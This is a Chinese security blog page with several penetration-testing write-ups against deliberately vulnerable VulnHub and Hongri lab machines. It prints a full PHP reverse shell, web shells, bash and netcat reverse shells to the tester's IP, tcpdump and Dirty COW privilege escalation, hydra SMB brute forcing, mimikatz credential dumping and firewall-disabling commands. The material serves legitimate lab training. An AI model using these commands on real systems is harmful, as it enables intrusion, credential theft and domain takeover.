首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
13,170 阅读
2
全网最全渗透测试靶场推荐【2026最新靶场推荐】,拒绝信息差
7,879 阅读
3
2025最新渗透测试靶场推荐,新手必练的靶场推荐
6,261 阅读
4
src平台推荐,挖SRC必须知道的25个漏洞提交平台
5,815 阅读
5
几个常见的密码字典推荐
5,535 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
靶场实战
SQL注入
提权
代理隧道
域渗透
信息收集
权限提升
hackmyvm
WAF绕过
AI安全
云安全
蓝队防御
权限维持
红队攻击
云服务
白小羽
累计撰写
192
篇文章
累计收到
2
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
192
篇与
的结果
2025-05-18
靶机-election
靶机地址:https://www.[vulnhub](https://so.csdn.net/so/search?q=vulnhub&spm=1001.2101.3001.7020).com/entry/election-1,503/DescriptionIt is an OSCP-like VM, Medium Level difficulty.主机探测 / 80探测全端口扫描,80和22端口开启目录扫描信息收集插件 wapplyzer扫出来的phpinforobots.txt文件,还有一个phpmyadmin,但是不存在弱口令,在本次靶机中没有任何作用election路径,其他三个都没有东西继续目录扫描有一个后台管理继续目录扫描密码泄露love: P@$$w0rd@123系统信息收集sudo和suid文件发现一个奇葩切换用户的文件,先放着继续信息收集,端口信息进程信息发现一个mysql,此时就可以去网站目录找配置文件,查看数据库密码信息数据库登录成功把全部的表都查一查可利用的信息 Zxc123!@#,切换用户yeslove也不行,所以这个数据没有任何用处,网页也登录不了来看这个文件找到一个应用的版本信息漏洞检索复制到当前目录,并开启一个卫星http服务首先判断是否存在wget命令,不存在的话可以使用curl -O没有权限是因为赋予执行权限,使用chmod添加一个可执行权限就好了,执行脚本就能提权成功本靶机主要是网页上的日志信息泄露,从而获取服务器普通用户权限,再根据机器上的应用程序版本的信息搜集,使用漏洞检索工具searchsploit,利用exp进行提权往期推荐【OSCP】sudo的上级目录提权,靶机SkyTower【OSCP】稀有靶机-Readme【OSCP】Hackme【OSCP】Tr0ll 靶机全系列(1-3),FTP被玩坏了【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏
2025年05月18日
1,645 阅读
0 评论
0 点赞
2025-05-18
WEBDEVELOPER,tcpdump提权
【oscp】WEBDEVELOPER,tcpdump提权本次靶机为web-developer靶机下载地址:https://www.vulnhub.com/entry/web-developer-1,288/常规操作,主机发现,80快速探测全端口syn扫描,从扫描结果来看,本次靶机考验的是利用80网页的信息尝试登录sshdirb目录扫描,看目录结构是一个wordpress的网页应用程序可能存在的用户wordpress版本信息,4.9.8利用msf的top100的密码字典,进行爆破(失败)wpscan --url http://192.168.111.201/ -e u -P /usr/share/metasploit-framework/data/wordlists/adobe_top100_pass.txt那么就利用版本漏洞,但是这些都是插件类的,无法绕过密码继续信息收集,刚刚目录扫描出来的结果流量分析wordpress登录的时候基本都是post数据包,我们分析post请求的数据包就行了,得到用户和密码,Form item: "log" = webdeveloper / Te5eQg&4sBS!Yr$)wf%(DcAd登录成功版本确实是4.9.8,这时候就可以看刚刚的漏洞检索的结果了(没找到任何信息)尝试修改默认主题 Twenty Seventeen 的404.php,简单理解英文就是不允许修改(因为此主题已经激活了,需要取消激活)点击右上角的切换主题,修改另一个的404.php,是可以修改成功的 <?php @eval($_POST[cmd]);?>切换到主题页面,进行激活一句话木马不行那么就尝试php的反弹shell,源码如下(kali的/usr/share/webshells/php目录下)<?php // php-reverse-shell - A Reverse Shell implementation in PHP // Copyright (C) 2007 pentestmonkey@pentestmonkey.net // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. The author accepts no liability // for damage caused by this tool. If these terms are not acceptable to you, then // do not use this tool. // // In all other respects the GPL version 2 applies: // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License version 2 as // published by the Free Software Foundation. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License along // with this program; if not, write to the Free Software Foundation, Inc., // 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. If these terms are not acceptable to // you, then do not use this tool. // // You are encouraged to send comments, improvements or suggestions to // me at pentestmonkey@pentestmonkey.net // // Description // ----------- // This script will make an outbound TCP connection to a hardcoded IP and port. // The recipient will be given a shell running as the current user (apache normally). // // Limitations // ----------- // proc_open and stream_set_blocking require PHP version 4.3+, or 5+ // Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows. // Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available. // // Usage // ----- // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck. set_time_limit (0); $VERSION = "1.0"; $ip = '192.168.111.128'; // CHANGE THIS $port = 6666; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; // // Daemonise ourself if possible to avoid zombies later // // pcntl_fork is hardly ever available, but will allow us to daemonise // our php process and avoid zombies. Worth a try... if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } // Change to a safe directory chdir("/"); // Remove any umask we inherited umask(0); // // Do the reverse shell... // // Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } // Spawn shell process $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resouRCE($process)) { printit("ERROR: Can't spawn shell"); exit(1); } // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } // Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); // Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { if (!$daemon) { print "$stringn"; } } ?>修改404源码后访问任意不存在的文章,即可反弹。例如http://192.168.111.201/index.php/2018/10/30/1111-111112213/这个机器上没有python2,只有3,创建一个交互式shellpython3 -c "import pty; pty.spawn('/bin/bash');"系统信息收集隐藏文件查看,和suid文件的信息收集结果有mysql的进程信息,那么尝试获取mysql的密码ps -aux | grep mysql # 查看进程信息我们切换到网站根目录,查看wordpress的数据库配置文件wp-config.php得到账号密码username : webdeveloper password : MasterOfTheUniversemysql用户表如下,并没有任何的利用信息尝试ssh连接,连接成功sudo -ltcpdump 提权 ,提权失败,TF表示临时文件的意思,需要你手动设置一个可执行的文件COMMAND='/bin/bash' TF="/tmp/shell" # 一个临时的二进制文件 echo "$COMMAND" > $TF chmod +x $TF sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root这里要注意一下,捕获流量包的时候,状态是一直停留在这个界面的,抓包超时可以尝试切换一下网卡查看网卡信息命令如下,切换一个网卡eth0,为了查看回显,把命令改为idCOMMAND='id' TF="/tmp/shell" echo "$COMMAND" > $TF chmod +x $TF sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root # 这里重新指定了一个网卡为eth0可以看到id输出得结果为root,尝试获取shell把命令修改为 /bin/bashCOMMAND='/bin/bash' TF="/tmp/shell" echo "$COMMAND" > $TF chmod +x $TF sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root 失败了能够执行命令,但是普通的终端行不通,那么就反弹shellCOMMAND='/bin/bash -i >& /dev/tcp/192.168.111.128/6666 0>&1' TF="/tmp/shell" echo "$COMMAND" > $TF chmod +x $TF sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root nc也没有-e选项那么试试如下命令COMMAND='rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.111.128 6666 >/tmp/f' TF="/tmp/shell" echo "$COMMAND" > $TF chmod +x $TF sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root 反弹成功但是无法执行命令都不行的话,那么还记得我们之前修改的那个404.php,反弹shell的文件嘛COMMAND='php /var/www/html/wp-content/themes/twentyfifteen/404.php' TF="/tmp/shell" echo "$COMMAND" > $TF chmod +x $TF sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root 提权成功!这个靶场主要是泄露了大鲨鱼的流量包,造成密码信息泄露,然后通过修改主题文件的php文件,反弹shell,然后通过正在运行的mysql服务,查看站点的mysql密码,进一步猜测ssh密码就是mysql的密码,最后通过sudo+tcpdump进行提权。往期推荐【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏从零开始学SQL注入(sql十大注入类型):技术解析与实战演练【RCE剖析】从0-1讲解RCE漏洞绕过,Windows与Linux/RCE漏洞绕过方式总结Linux中Find命令也能提权?提权方式一文通透【渗透测试】Linux隐身登录
2025年05月18日
1,193 阅读
0 评论
0 点赞
2025-05-18
Vuln靶机SolidState
【oscp】SolidState,计划任务提权靶场地址:https://www.vulnhub.com/entry/solidstate-1,261/发布日期:2018年9月12日目标:得到root权限&找到flag.txt主机探测,端口扫描一些端口介绍:(22,80忽略)25 端口:SMTP服务,用于发送电子邮件的协议110 端口:pop3是用于接收电子邮件的协议119 端口:是用于传输和读取Usernet新闻组文章的协议。4445 端口:是 JAMES 邮件服务器的远程管理接口,允许管理员通过命令行或Web界面管理邮件服务器的配置,包括用户管理、域名管理、邮件箱管理等。访问网页目录扫描这里是需要用到一个命令,来连接邮件服务器,指定好端口4555,然后使用弱口令root / root 进行登录,再使用help查看命令帮助telnet 是一个用于远程登录和管理服务器的网络协议和命令行工具。它允许用户通过网络连接到远程主机,并在该主机上执行命令。telnet 通常使用端口 23 进行通信,但也可以指定其他端口。listusers 用于显示现有的账户信息,但是我们不知道密码信息,就无法登录pop3邮件服务器,查看电子邮件内容user: james user: thomas user: john user: mindy user: mAIladmin设置(重置)密码setpassword james 123 setpassword thomas 123 setpassword john 123 setpassword mindy 123 setpassword mAIladmin 123登录我们的pop3服务器,用户james的邮件信息同理其他用户都这样查看,下面是john的邮件内容下面是mindy用户的第二封邮件翻译一下看看,这个就是 mindy 用户的ssh密码了username: mindy pass: P@55W0rd1!2@ssh登录后,但是发现系统对这个用户做出了命令执行的一些限制当前目录下有一个user.txt,包含了一个hash值,使用hash-identifierhash识别工具,识别这个加密的类型,但是没有识别到尝试逃逸shell,其他详细的逃逸过程可以参考我这篇文章https://mp.weixin.qq.com/s/YS3lNhIE5V5kFlBLxS49xA这里的逃逸是要用到 pythonssh username@IP "export TERM=xterm;python -c 'import pty;pty.spawn("/bin/bash")'"信息收集uname -a cat /etc/os-release # 没有lsb_release -a命令可以使用这个代替查看计划任务cat /etc/crontab查看文件权限为777的文件信息,不是root用户也能修改并执行文件,那如果这是个root用户设置的一个定时程序呢?查看py脚本内容看看nc 有没有-e参数,结果是有的nc 中的 -e 参数在 Netcat (nc) 中用于指定一个程序,使得 Netcat 在建立连接后执行该程序,并将 Netcat 的标准输入、输出和错误重定向到该程序。这个参数通常用于创建反向shell或监听shell。那么py脚本的内容就如下,来反弹shell#!/usr/bin/env python import os import sys try: os.system('nc 192.168.209.130 6666 -e /bin/bash') except: sys.exit()注意:如果重定向了,过了一会儿没有反弹成功,要么重新连接一次,就像这样这下就能反弹成功了,找到root.txt文件如果直接执行py文件的话,是以当前用户执行的,例如可以看到当前用户为 mindy往期推荐红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学Linux 32位Crossfire游戏缓冲区溢出独立开发零显卡AI引擎!媲美DeepSeek,附源码【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了神器分享 红队快速打点工具-DarKnuclei从零开始学SQL注入(sql十大注入类型):技术解析与实战演练【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏【渗透测试】12种rbash逃逸方式总结利用MySQL特性,WAF绕过技巧SQL注入绕过某狗的WAF防火墙,这一篇就够了,6k文案超详细
2025年05月18日
1,180 阅读
0 评论
0 点赞
2025-05-18
红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学
这是红日团队的第三套靶场,本次靶场渗透涉及敏感信息泄露、暴力破解、脏牛提权、内网穿透、端口转发、以及域渗透等多种知识点。该靶场环境由5台机器组成,其中包括3台Windows机器和2台Linux机器。网络拓扑图如下红日靶场(1-8)全套下载连接:链接:https://pan.baidu.com/s/1ppyPlm6osobxReI50fCSZw?pwd=uze8 提取码:uze8 红日官网:http://vulnstack.qiyuanxuetang.net/那么开始渗透首先添加一张网卡(仅主机模式),192.168.93.0/24 网段web-centos 进去第一条命令,重启网络服务,否则可能上不了网service network restart 网卡1:桥接模式 192.168.1.110网卡2:仅主机 192.168.93.100账号密码:wwwuser/wwwuser_123Aqxweb1-ubuntu仅主机模式:192.168.93.120PC仅主机:192.168.93.30win 2008仅主机:192.168.93.20 Windows 2008本地的管理员用户和域管理员的密码 WIN2008Administrator:123qwe!ASD TESTadministrator:zxcASDqw123!!win 2012仅主机:192.168.93.10kaliIP:192.168.1.8,192.168.1.5(中间换了换 IP)这是一个黑盒测试,开机后就不要进行任何的操作了。外网打点主机发现,因为是桥接模式,ip有点多,所以就挨个测试,看110很可疑,第一次就测出来了22端口,openssh 5.3版本,80端口 nginx 1.9.4 ,Joomla内容管理xi'tong3306测试,发现可以远程登录,但是我们不知道用户信息进一步信息收集查看源码丢给deepseek,看看有没有泄露版本另外在joomla这个cms内容管理系统中呢,这个文件存在版本信息,我们可以看看/administrator/manifests/files/joomla.xml上面可以看到cms的指纹信息了,版本为3.9.12,下面进行漏洞检索searchsploit Joomla 3.9漏洞信息里面是没有可以利用的漏洞的,下面我们用joomscanapt install joomscan joomscan --url http://192.168.1.110/JoomScan 是一款专门针对 Joomla 内容管理系统(CMS)的安全扫描工具,用于检测 Joomla 网站中的漏洞、配置错误和安全风险。扫描出来一个这个东西,访问即可curl http://192.168.1.110/configuration.php~服务攻防找到了mysql的账号密码,刚开始我们已经测试过能远程登录mysql的mysql -utestuser -h192.168.1.110 -p --skip-ssl 密码:cvcvgjASD!@ MySQL [joomla]> use joomla; MySQL [joomla]> select * from umnbt_users;很明显是加了盐的,破解起来很难,这里还有另外一个表am2zu_users查看是否能向外部写文件,以及是否允许写日志文件show variables like '%general%'; SHOW VARIABLES LIKE 'general_log_file';这里发现secure_file_priv是允许向外部写文件的,那么我们尝试写一个shell木马,报错了,看样子是不允许我们写入的MySQL [joomla]> select '<?php phpinfo();@eval($_GET[1]);?>' into outfile '/var/www/html/shell.php'; ERROR 1045 (28000): Access denied for user 'testuser'@'%' (using password: YES)那么更换日志渗透的方法,上面看到日志功能是off的我们需要no,很遗憾也是权限不够MySQL [joomla]> set global general_log=on; ERROR 1227 (42000): Access denied; you need (at least one of) the SUPER privilege(s) for this operation那么久添加后台用户进一步渗透,两个表中呢,我们不清楚哪个表是后台的用户表,那么就都添加一条数据,密码为123456的md5,e10adc3949ba59abbe56e057f20f883e,首先我们要看看需要添加哪些字段desc 表名; id,name,username,email,password,activation,otpKey,otep构造sql语句insert into am2zu_users(id,name,username,email,password,activation,otpKey,otep) values(999,'xiaoyu','xiaoyu@test.com','e10adc3949ba59abbe56e057f20f883e','ssssss','kkkkkk','yyyyy'); # 失败后面搜到了这个网站,有利用方法https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn代码如下INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW()); INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');执行结果MySQL [joomla]> INSERT INTO `am2zu_users` -> (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) -> VALUES ('Administrator2', 'admin2', -> 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW()); Query OK, 1 row affected (0.001 sec) MySQL [joomla]> select * from `am2zu_users`; +-----+----------------+---------------+---------------+-------------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------------+------------+--------+------+--------------+ | id | name | username | email | password | block | sendEmail | registerDate | lastvisitDate | activation | params | lastResetTime | resetCount | otpKey | otep | requireReset | +-----+----------------+---------------+---------------+-------------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------------+------------+--------+------+--------------+ | 891 | Super User | administrator | test@test.com | $2y$10$t1RelJijihpPhL8LARC9JuM/AWrVR.nto/XycrybdRbk8IEg6Dze2 | 0 | 1 | 2019-10-19 12:48:41 | 0000-00-00 00:00:00 | 0 | | 0000-00-00 00:00:00 | 0 | | | 0 | | 896 | Administrator2 | admin2 | | d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199 | 0 | 0 | 2025-02-25 19:56:54 | 2025-02-25 19:56:54 | | | 2025-02-25 19:56:54 | 0 | | | 0 | +-----+----------------+---------------+---------------+-------------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------------+------------+--------+------+--------------+ 2 rows in set (0.001 sec) MySQL [joomla]> INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) -> VALUES (896,'8'); Query OK, 1 row affected (0.001 sec) MySQL [joomla]> select * from `am2zu_user_usergroup_map`; +---------+----------+ | user_id | group_id | +---------+----------+ | 891 | 8 | | 896 | 8 | +---------+----------+ 2 rows in set (0.001 sec)从上面那个网站可以知道账号密码为admin2/secret(注意数据一定要对应上,用户id需要对应,并且不能有重复的数据,否则都有可能登录不成功)我们修改主题文件为kali默认的反弹shell文件内容,并修改ip和端口但是呢反弹失败了,切换思路写一句话木马<?php @eval($_POST['pass']);?>使用蚁剑连接内网渗透这里呢被禁用命令了,也难怪刚刚反弹不成功这里我们需要蚁剑的一个插件(魔法)在列表页使用插件使用这个模式就可以正常执行命令啦,后面又试了试各种反弹shell的命令,都没有成功,那么只能利用这个蚁剑的shell了在/tmp/mysql/test.txt文件中有账号密码wwwuser/wwwuser_123Aqxssh连接失败,提示信息为算法问题那么需要加上算法ssh wwwuser@192.168.1.110 -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa # 以下是常见的解决方案 ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss vmware@10.10.10.130 # Unable to negotiate with 10.10.10.129 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss ssh ubuntu@10.10.10.131 -oPubkeyAcceptedKeyTypes=+ssh-rsa -i id_rsa ssh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa -i rain_rsa ubuntu@10.10.10.131内网信息收集使用icmp协议探测内网ip存活数量,发现了另外4台主机()for i in {1..254}; do (ping -c 1 192.168.93.${i} | grep "bytes from" | grep -v "Unreachable" &); done;上传frpkali开启frp服务器,frp相对详细使用教程见-- 三种代理方式打入内网靶机连接kali的frp服务器修改代理文件vi /etc/proxychains4.conf分别对10,20,120进行端口扫描(耗时可能有点久),第一台和第三台都是Windows服务器proxychains nmap -sT -sV -Pn 192.168.93.10 -T4proxychains nmap -sT -sV -Pn 192.168.93.20 -T4proxychains nmap -sT -sV -Pn 192.168.93.30 -T4这台扫描结果是Linux的服务器,开着ssh和3306端口,并且80也开着的proxychains nmap -sT -sV -Pn 192.168.93.120 -T4开启浏览器代理,代理到我们的kali,通过kali的代理访问这个内网靶机这是内网中的一个靶机,也是同样的cms,那么我们可不可以以同样的方式去获取密码再次利用joomscan这个工具,扫描结果也是一样的proxychains joomscan --url http://192.168.93.120/和刚刚的配置文件一模一样,那么大概率是使用的内网映射了,源主机是120,但是访问的是100那台具有nat网卡的主机连接ssh后,继续信息收集提权(可跳过)# kali git clone https://github.com/firefart/dirtycow.git cd dirtycow python -m http.server 5000 # 靶机 wget 192.168.1.8:5000/dirty.c gcc -pthread dirty.c -o dirty -lcrypt ./dirty my-new-password mv /tmp/passwd.bak /etc/passwd su firefart password:123456成功提权到最高权限第一台web服务器拿下利用nmap对两台Windows靶机的445端口进行漏洞扫描,判断是否存在永恒之蓝漏洞(三台接没有)那么还有一种方法就是SMB爆破了,非常巧,在我的top1000字典中恰好没有这个密码(所以为了伪装成一个大佬我就手动把密码加了进去~),再很巧,两个靶机的SMB密码都是123qwe!ASDproxychains hydra -l Administrator -P xato-net-10-million-passwords-1000.txt -s 445 -t 4 -vV -m "SMB" SMB://192.168.93.30 proxychains hydra -l Administrator -P xato-net-10-million-passwords-1000.txt -s 445 -t 4 -vV -m "SMB" SMB://192.168.93.20域渗透本机Windows打开 proxifier,并设置全局代理打开本机Windows的cmd,此时就能连接第一台SMB服务器,192.168.93.20net use \192.168.93.20ipc$ "123qwe!ASD" /user:administrator # 通过 net use 命令连接到目标服务器的 IPC$ 共享。 dir \192.168.93.20c$ # 列出目标服务器上 C$ 共享目录的内容。第二台192.168.93.30那么接下来就要关闭目标防火墙,开启远程连接,首先创建一个进程,关闭失败sc \192.168.93.20 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \192.168.93.20 start unablefirewall那么添加计划任务关闭防火墙试试呢at \192.168.93.20 23:17:00 'netsh advfirewall set allprofiles state off' at \192.168.93.20 23:17:00 'netsh advfirewall set allprofiles state off'接下来就是修改注册表了,计划任务设置允许远程登录at \192.168.93.20 23:31:00 "reg add 'HKLMSYSTEMCurrentControlSetControlTerminal Server' /v fDenyTSConnections /t REG_DWORD /d 0 /f"计划任务放行3389端口at \192.168.93.20 23:32:00 'netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389'尝试远程连接,连接失败,切换思路既然无法关闭那么就使用MSF咯proxychains MSFconsole set RHOST 192.168.93.20 set LHOST 192.168.93.5 # kali地址 set SMBUser Administrator set SMBPass 123qwe!ASD set LPORT 4444 set payload Windows/x64/shell_bind_tcp run这里就已经是系统权限了。。。。并且主机名为win2008查看dns服务器,为192.168.93.10,大概率就是域控服务器了ipconfig /all尝试使用密码123qwe!ASD登录域控服务器其他信息收集,检查是否存在杀软Windows defender(不存在)sc query WinDefend查看系统类型,是x64的C:Windowssystem32>systeminfo | findstr /i "system type" systeminfo | findstr /i "系�system type" OS Build Type: Multiprocessor Free System Type: x64-based PC上传mimikatz.exeexit set payload Windows/x64/meterpreter/bind_tcp run upload -r /data/windows_atk/mimikatz/x64/mimikatz.exe C:\使用shell执行命令,执行失败了那么就退出,使用shell_bind_tcp模块exit set payload windows/x64/shell_bind_tcp run抓取铭文密码mimikatz.exe log privilege::debug sekurlsa::logonpasswords得到两个域的账号密码,枚举DNS服务器的文件系统TEST:zxcASDqw123!! WIN2008:123qwe!ASD开启远程服务# 放行3389端口 netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389 # 关闭防火墙 netsh advfirewall set allprofiles state off # 修改注册表允许远程连接 reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f成功获取20靶机远程操作权限使用test域登录dns服务器,登录成功net use \192.168.93.10ipc$ "zxcASDqw123!!" /user:Administrator dir \192.168.93.10c$创建执行任务,关闭防火墙,执行不了奥sc \192.168.93.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \192.168.93.10 start unablefirewall那么就利用nc.exe反弹shellcurl -O http://192.168.1.5:5000/nc.exe net use \192.168.93.10ipc$ "zxcASDqw123!!" /user:Administrator copy .nc.exe \192.168.93.10c$ net use \192.168.93.20ipc$ "123qwe!ASD" /user:Administrator copy .nc.exe \192.168.93.20c$可以看到nc已经上传成功了创建一个进程sc \192.168.93.10 create ncshell binpath= "c:nc.exe 192.168.93.20 1234 -e cmd" sc \192.168.93.10 start ncshell在反弹过来的shell中开启远程连接# 放行3389端口 netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389 # 关闭防火墙 netsh advfirewall set allprofiles state off # 修改注册表允许远程连接 reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f使用远程登录,即可发现允许远程登录了(注意Proxifier全局代理不能断掉)拿下winserver2012域控服务器现在已经拿下了三台,那么接下来就是第四台win7(pc),ip:30,回到刚刚的MSFset RHOSTS 192.168.93.30开启远程连接# 放行3389端口 netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389 # 关闭防火墙 netsh advfirewall set allprofiles state off # 修改注册表允许远程连接 reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f此时已经可以远程连接,输入之前获得的密码即可拿下第最后一台PC主机至此渗透结束,还可以清除日志,关闭全部远程,恢复到初始状态,做好隐蔽措施渗透测试报告总结(deepseek)1. 测试概述本次渗透测试模拟了针对某企业网络的全流程攻击,覆盖外网打点、内网横向渗透、域控提权等多个阶段。目标网络包含Web服务器(CentOS/Ubuntu)、Windows域环境(2008/2012)及内网PC终端(Win7),最终成功获取域控服务器(Windows Server 2012)及全部内网主机的控制权。2. 攻击路径总览graph TD A[外网入口: Web-CentOS] --> B{漏洞利用} B --> C[Joomla 3.9.12后台接管] C --> D[MySQL凭据泄露] D --> E[Webshell上传 & 蚁剑连接] E --> F[SSH登录 & 内网代理搭建] F --> G[内网主机发现] G --> H[横向移动: SMB爆破 & 永恒之蓝漏洞利用] H --> I[域控服务器渗透] I --> J[域内PC终端控制]3. 外网打点阶段3.1 目标识别 IP地址:192.168.1.110(桥接模式) 开放服务: 22端口:OpenSSH 5.3 80端口:Nginx 1.9.4 + Joomla 3.9.12 3306端口:MySQL 5.5.62 3.2 关键漏洞利用(1) Joomla后台接管 漏洞利用:通过configuration.php~备份文件泄露获取MySQL凭据 攻击链: # 数据库操作 INSERT INTO am2zu_users (...) VALUES (...); # 添加管理员账号 INSERT INTO am2zu_user_usergroup_map (...) VALUES (...); # 分配权限 结果:成功登录Joomla后台(admin2/secret) (2) Webshell植入 方法:通过模板编辑注入PHP一句话木马 工具:蚁剑连接http://192.168.1.110/shell.php 提权:利用Dirty Cow漏洞从wwwuser提权至root 4. 内网横向渗透4.1 网络拓扑分析 网段划分: 仅主机模式:192.168.93.0/24 关键主机: 192.168.93.10(域控-Win2012) 192.168.93.20(Win2008) 192.168.93.30(Win7-PC) 4.2 代理隧道搭建 工具:frp反向代理 配置:# frpc.ini [common] server_addr = 192.168.1.8 server_port = 7000 [socks5] type = tcp remote_port = 1080 plugin = socks5 4.3 横向移动关键步骤(1) SMB服务爆破 工具:Hydra 命令: proxychains hydra -l Administrator -P passlist.txt smb://192.168.93.20 结果:破解密码123qwe!ASD,获取Win2008控制权 (2) 永恒之蓝漏洞利用 模块:exploit/windows/smb/ms17_010_eternalblue Payload:windows/x64/meterpreter/reverse_tcp 结果:获取Win2008系统级Shell 5. 域渗透与域控提权5.1 域环境分析 域名称:TEST 域控IP:192.168.93.10 关键凭证: WIN2008Administrator:123qwe!ASD TESTadministrator:zxcASDqw123!! 5.2 域控攻击路径 凭证抓取: mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" 远程执行: sc \192.168.93.10 create ncshell binpath="cmd /c c:nc.exe 192.168.93.20 1234 -e cmd" 权限提升:通过RDP连接接管域控服务器 6. 渗透测试结果 主机IP 操作系统 获取权限级别 关键漏洞/方法 192.168.1.110 CentOS 7 root Joomla SQL注入 + Dirty Cow 192.168.93.20 Windows 2008 SYSTEM SMB密码爆破 + Mimikatz 192.168.93.10 Windows 2012 Domain Admin 横向移动 + 凭证重用 192.168.93.30 Windows 7 Administrator 永恒之蓝漏洞利用 7. 风险总结与修复建议7.1 高风险项 弱密码策略 SMB服务密码123qwe!ASD强度不足 